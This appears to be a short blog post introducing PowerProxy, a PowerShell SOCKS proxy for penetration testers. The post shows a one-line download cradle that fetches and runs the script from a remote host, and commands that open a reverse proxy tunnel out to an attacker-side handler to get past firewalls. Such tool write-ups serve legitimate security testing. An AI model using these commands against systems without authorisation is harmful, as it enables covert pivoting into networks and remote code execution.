Kali Linux

PowerProxy : PowerShell SOCKS Proxy With Reverse Proxy Capabilities

PowerProxy is a PowerShell SOCKS proxy with reverse proxy capabilities.

PowerProxy is written with penetration testers in mind. Reverse proxy functionality is a priority, for traversing networks that block inbound connections. Reverse proxy connections are encrypted by default. Username/Password authentication is supported for Socks 5 connections.

Setup

Import the script:

iex (new-object net.webclient).downloadstring(“http://192.168.0.22/PowerProxy.ps1”)
OR
Import-Module \192.168.0.22\Public\PowerProxy.ps1

reverse_proxy_handler.py can create temporary SSL certs, which requires OpenSSL. If OpenSSL isn’t installed on your machine (it is on most Linux/Unix-based systems), provide your own cert or use the –no-encrypt option.

Usage

For detailed usage, check out PowerProxy’s help, or use ./reverse_proxy_handler.py –help

Run a reverse proxy

On local machine, start the handler:

Listen for reverse proxies on port 8080. Clients connect to port 1080 (default)
./reverse_proxy_handler.py -p 8080

In PowerShell:

Start-ReverseSocksProxy 172.1.1.20 -Port 8080

Proxy clients can treat the server created by reverse_proxy_handler.py as if it were the actual SOCKS server:

curl –socks4 127.0.0.1:1080 http://10.10.2.69/

Run a traditional SOCKS server

Start-SocksProxy 172.10.2.20 -Port 9050

Require authentication

Use PSCredential objects to require a username and password:

Create the credential
$Password = ConvertTo-SecureString -AsPlaintext -Force “Passw0rd123”
$Cred = New-Object System.Management.Automation.PSCredential (“ProxyUser”, $Password)
Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose

R K

Recent Posts

id Command in Linux: Display User and Group Information

The id command prints user and group identity for any account on the system. It shows the…

21 hours ago

sed Delete Lines: Remove Lines by Number, Pattern, or Range

sed processes input line by line, applies your commands, and writes the result to standard output.…

21 hours ago

How to Rename Directories in Linux: mv, Loops, and rename

Linux provides two main tools for renaming directories: mv for single renames and the rename utility for batch pattern-based…

22 hours ago

w Command in Linux: Show Logged-In Users and System Activity

The w command in Linux shows who is currently logged in to the system and what each…

22 hours ago

sysctl Command in Linux: View and Change Kernel Parameters

The sysctl command reads and modifies Linux kernel parameters from the command line. Changes take effect immediately…

2 days ago

whereis Command in Linux: Find Binary, Source, and Man Pages

The whereis command locates the binary, source, and manual page files for a given command. Unlike which, it…

2 days ago